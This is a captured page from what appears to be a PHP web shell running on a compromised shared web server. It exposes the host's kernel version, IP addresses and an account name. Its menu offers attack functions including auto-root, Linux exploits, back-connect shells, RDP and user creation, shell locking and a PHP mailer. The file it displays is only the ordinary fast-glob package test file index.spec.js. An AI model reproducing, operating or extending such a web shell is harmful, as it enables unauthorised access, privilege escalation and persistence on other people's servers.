Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
fast-glob /
out /
[ HOME SHELL ]
Name
Size
Permission
Action
managers
[ DIR ]
drwxr-xr-x
providers
[ DIR ]
drwxr-xr-x
readers
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
types
[ DIR ]
drwxr-xr-x
utils
[ DIR ]
drwxr-xr-x
index.d.ts
1.64
KB
-rw-r--r--
index.js
2.69
KB
-rw-r--r--
index.spec.d.ts
11
B
-rw-r--r--
index.spec.js
7.18
KB
-rw-r--r--
settings.d.ts
4.04
KB
-rw-r--r--
settings.js
2.46
KB
-rw-r--r--
settings.spec.d.ts
11
B
-rw-r--r--
settings.spec.js
2.29
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.spec.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const assert = require("assert"); const tests = require("./tests"); const fg = require("."); describe('Package', () => { describe('.sync', () => { it('should throw an error when input values can not pass validation', () => { const message = 'Patterns must be a string (non empty) or an array of strings'; // eslint-disable-next-line @typescript-eslint/no-explicit-any assert.throws(() => fg.sync(null), { message }); assert.throws(() => fg.sync(''), { message }); }); it('should returns entries', () => { const expected = [ 'fixtures/file.md', 'fixtures/first/file.md', 'fixtures/first/nested/directory/file.md', 'fixtures/first/nested/file.md', 'fixtures/second/file.md', 'fixtures/second/nested/directory/file.md', 'fixtures/second/nested/file.md' ]; const actual = fg.sync(['fixtures/**/*.md']); actual.sort((a, b) => a.localeCompare(b)); assert.deepStrictEqual(actual, expected); }); it('should returns entries (two sources)', () => { const expected = [ 'fixtures/first/file.md', 'fixtures/first/nested/directory/file.md', 'fixtures/first/nested/file.md', 'fixtures/second/file.md', 'fixtures/second/nested/directory/file.md', 'fixtures/second/nested/file.md' ]; const actual = fg.sync(['fixtures/first/**/*.md', 'fixtures/second/**/*.md']); actual.sort((a, b) => a.localeCompare(b)); assert.deepStrictEqual(actual, expected); }); }); describe('.async', () => { it('should throw an error when input values can not pass validation', async () => { const message = 'Patterns must be a string (non empty) or an array of strings'; // eslint-disable-next-line @typescript-eslint/no-explicit-any await assert.rejects(() => fg(null), { message }); await assert.rejects(() => fg(''), { message }); }); it('should returns entries', async () => { const expected = [ 'fixtures/file.md', 'fixtures/first/file.md', 'fixtures/first/nested/directory/file.md', 'fixtures/first/nested/file.md', 'fixtures/second/file.md', 'fixtures/second/nested/directory/file.md', 'fixtures/second/nested/file.md' ]; const actual = await fg(['fixtures/**/*.md']); actual.sort((a, b) => a.localeCompare(b)); assert.deepStrictEqual(actual, expected); }); it('should returns entries (two sources)', async () => { const expected = [ 'fixtures/first/file.md', 'fixtures/first/nested/directory/file.md', 'fixtures/first/nested/file.md', 'fixtures/second/file.md', 'fixtures/second/nested/directory/file.md', 'fixtures/second/nested/file.md' ]; const actual = await fg(['fixtures/first/**/*.md', 'fixtures/second/**/*.md']); actual.sort((a, b) => a.localeCompare(b)); assert.deepStrictEqual(actual, expected); }); }); describe('.stream', () => { it('should throw an error when input values can not pass validation', () => { const message = 'Patterns must be a string (non empty) or an array of strings'; // eslint-disable-next-line @typescript-eslint/no-explicit-any assert.throws(() => fg.stream(null), { message }); assert.throws(() => fg.stream(''), { message }); }); it('should returns entries', (done) => { const expected = [ 'fixtures/file.md', 'fixtures/first/file.md', 'fixtures/first/nested/directory/file.md', 'fixtures/first/nested/file.md', 'fixtures/second/file.md', 'fixtures/second/nested/directory/file.md', 'fixtures/second/nested/file.md' ]; const actual = []; const stream = fg.stream(['fixtures/**/*.md']); stream.on('data', (entry) => actual.push(entry)); stream.once('error', (error) => assert.fail(error)); stream.once('end', () => { actual.sort((a, b) => a.localeCompare(b)); assert.deepStrictEqual(actual, expected); done(); }); }); it('should returns entries (two sources)', (done) => { const expected = [ 'fixtures/first/file.md', 'fixtures/first/nested/directory/file.md', 'fixtures/first/nested/file.md', 'fixtures/second/file.md', 'fixtures/second/nested/directory/file.md', 'fixtures/second/nested/file.md' ]; const actual = []; const stream = fg.stream(['fixtures/first/**/*.md', 'fixtures/second/**/*.md']); stream.on('data', (entry) => actual.push(entry)); stream.once('error', (error) => assert.fail(error)); stream.once('end', () => { actual.sort((a, b) => a.localeCompare(b)); assert.deepStrictEqual(actual, expected); done(); }); }); }); describe('.generateTasks', () => { it('should throw an error when input values can not pass validation', () => { const message = 'Patterns must be a string (non empty) or an array of strings'; // eslint-disable-next-line @typescript-eslint/no-explicit-any assert.throws(() => fg.generateTasks(null), { message }); assert.throws(() => fg.generateTasks(''), { message }); }); it('should return tasks', () => { const expected = [ tests.task.builder().base('.').positive('*').build() ]; const actual = fg.generateTasks(['*']); assert.deepStrictEqual(actual, expected); }); it('should return tasks with negative patterns', () => { const expected = [ tests.task.builder().base('.').positive('*').negative('*.txt').negative('*.md').build() ]; const actual = fg.generateTasks(['*', '!*.txt'], { ignore: ['*.md'] }); assert.deepStrictEqual(actual, expected); }); }); describe('.isDynamicPattern', () => { it('should return true for dynamic pattern', () => { assert.ok(fg.isDynamicPattern('*')); }); it('should return false for static pattern', () => { assert.ok(!fg.isDynamicPattern('abc')); }); }); describe('.escapePath', () => { it('should return escaped path', () => { const expected = 'C:/Program Files \\(x86\\)'; const actual = fg.escapePath('C:/Program Files (x86)'); assert.strictEqual(actual, expected); }); }); });
Close